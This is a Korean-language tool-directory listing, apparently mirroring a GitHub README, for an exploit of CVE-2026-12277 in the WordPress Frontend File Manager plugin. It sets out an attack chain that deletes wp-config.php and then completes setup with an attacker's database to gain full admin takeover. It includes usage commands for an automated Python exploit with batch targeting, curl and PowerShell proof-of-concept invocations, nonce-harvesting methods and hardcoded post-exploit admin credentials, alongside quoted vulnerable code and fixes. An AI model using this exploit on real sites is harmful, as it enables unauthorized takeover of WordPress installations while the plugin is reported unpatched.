Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-12277 — Frontend File Manager Plugin (WordPress) <= 23.6 - 인증되지 않은 임의 파일 삭제를 통한 RCE | Kitploit
도구/GitHubGitHub/moritakaaz/cve-2026-12277
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - 인증되지 않은 임의 파일 삭제를 통한 RCE

저장소 보기
22개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - 인증되지 않은 임의 파일 삭제를 통한 RCE

요약

필드값
CVECVE-2026-12277
플러그인Frontend File Manager Plugin (nmedia-user-file-uploader)
영향을 받는 버전<= 23.6
유형인증되지 않은 임의 파일 삭제
CVSS8.7 (높음)
CWECWE-73 (파일 이름 또는 경로의 외부 통제)
전제 조건게스트 업로드 모드 활성화
패치없음 (2026년 7월 기준)
연구자Chamseddine Bouzaiene

근본 원인

플러그인은 업로드된 파일 경로를 post 메타(wpfm_dir_path)에 저장합니다. wpfm_file_meta_update AJAX 엔드포인트:

  1. 논스 검사가 주석 처리됨 (files.php의 769-771번째 줄)
  2. nopriv로 등록됨 (인증 없이 접근 가능)
  3. unset($_REQUEST['wpfm_dir_path']) 방어는 PHP request_order의 특성(쿼리 문자열을 통해 전송)을 이용하여 우회 가능

wpfm_delete_file이 호출되면 post 메타에서 wpfm_dir_path를 읽고 경로 검증 없이 unlink()를 호출합니다.

취약한 엔드포인트

AJAX 액션논스 필요인증 필요nopriv
wpfm_file_meta_update아니요 (주석 처리됨)아니요예 (항상)
wpfm_delete_file예아니요예 (항상)
wpfm_upload_file예아니요예 (게스트 업로드가 켜져 있는 경우)

공격 체인

root@kitploit:~
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover

파일

파일설명
exploit.py전체 Python 익스플로잇 (탐지 → 익스플로잇 → 장악)
poc_curl.shBash/curl PoC (Linux)
poc_curl.ps1PowerShell/curl PoC (Windows)
lists.txt대상 URL (한 줄에 하나씩, 배치 모드용)
requirements.txtPython 종속성

사용법

Python 익스플로잇 (완전 자동)

root@kitploit:~
# Install dependencies
pip install -r requirements.txt

# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Detection only
python exploit.py -u http://target.com --detect-only

# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Custom attacker DB config
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

익스플로잇 후 - 로그인

익스플로잇 성공 후, WordPress 관리자에 로그인하십시오:

root@kitploit:~
URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

curl PoC (Bash)

root@kitploit:~
bash poc_curl.sh http://target.com

curl PoC (PowerShell)

root@kitploit:~
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

인수

인수필수설명
-u, --url예대상 WordPress URL
-p, --path아니요서버의 wp-config.php 절대 경로
--nonce아니요AJAX 논스 (자동 추출 건너뛰기)
--dbname아니요공격자 데이터베이스 이름 (기본값: wp_pwned)
--dbuser아니요공격자 데이터베이스 사용자 (기본값: root)
--dbpass아니요공격자 데이터베이스 비밀번호
--dbhost아니요공격자 데이터베이스 호스트 (기본값: localhost)
--proxy아니요HTTP 프록시 (예: http://127.0.0.1:8080)
--timeout아니요요청 시간 초과(초) (기본값: 15)
--detect-only아니요취약점만 탐지, 익스플로잇하지 않음

논스 자동 추출 작동 방식

익스플로잇은 다음 위치에서 wpfm_ajax_nonce를 자동으로 검색합니다:

  1. 일반적인 페이지 슬러그: /file-manager/, /upload/, /files/, /file-upload/ 등
  2. 직접 파일: /file-manager.php
  3. 홈페이지에서 발견된 모든 내부 링크 (크롤링)
  4. WP REST API (/wp-json/)

논스는 숨겨진 입력 필드로 나타납니다:

root@kitploit:~
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

또는 지역화된 JavaScript에서:

root@kitploit:~
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

경로 우회 기술

코드는 직접 덮어쓰기를 방지하기 위해 unset($_REQUEST['wpfm_dir_path'])를 수행합니다. 우회 방법:

  1. 쿼리 문자열 주입: 다른 데이터는 POST 본문을 통해 전송되는 동안 wpfm_dir_path를 URL 쿼리 매개변수로 전송합니다. PHP의 $_REQUEST 병합 동작으로 인해 request_order 구성에 따라 값이 유지될 수 있습니다.

  2. 업로드 흐름 중 사전 설정: wpfm_dir_path 메타는 초기 파일 업로드 후크 동안 설정됩니다. 해당 단계에서 익스플로잇하는 경우 우회가 필요하지 않습니다.

테스트 환경

구성 요소버전
WordPress6.9.4
PHP8.2.12
플러그인Frontend File Manager 23.6
운영 체제Windows (XAMPP) / Linux
결과완전 장악 확인됨

취약한 코드 참조

논스 비활성화 (inc/files.php:769-771)

root@kitploit:~
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

임의 메타 쓰기 (inc/files.php:787-795)

root@kitploit:~
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

인증 우회 (inc/files.php:690-693)

root@kitploit:~
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED

검증되지 않은 삭제 (inc/file.class.php:729-753)

root@kitploit:~
function delete_file_locally() {
    $file_path = $this->path;  // from wpfm_dir_path meta - NO VALIDATION
    if (file_exists($file_path)) {
        unlink($file_path);    // ARBITRARY FILE DELETION
    }
}

경로 확인 (inc/file.class.php:172-184)

root@kitploit:~
function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // NO canonicalization, NO realpath check
}

해결 방안

  • wpfm_file_meta_update에서 논스 검증 주석 해제
  • realpath() + 접두사 검사를 사용하여 업로드 디렉터리에 대해 wpfm_dir_path 검증
  • 파일 삭제 경로에 사용자 제어 입력을 절대 허용하지 않음
  • 게스트 업로드 설정과 독립적으로 적절한 인증 검사 추가

면책 조항

이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 테스트 전에 항상 서면 허가를 받으십시오.

도구 다운로드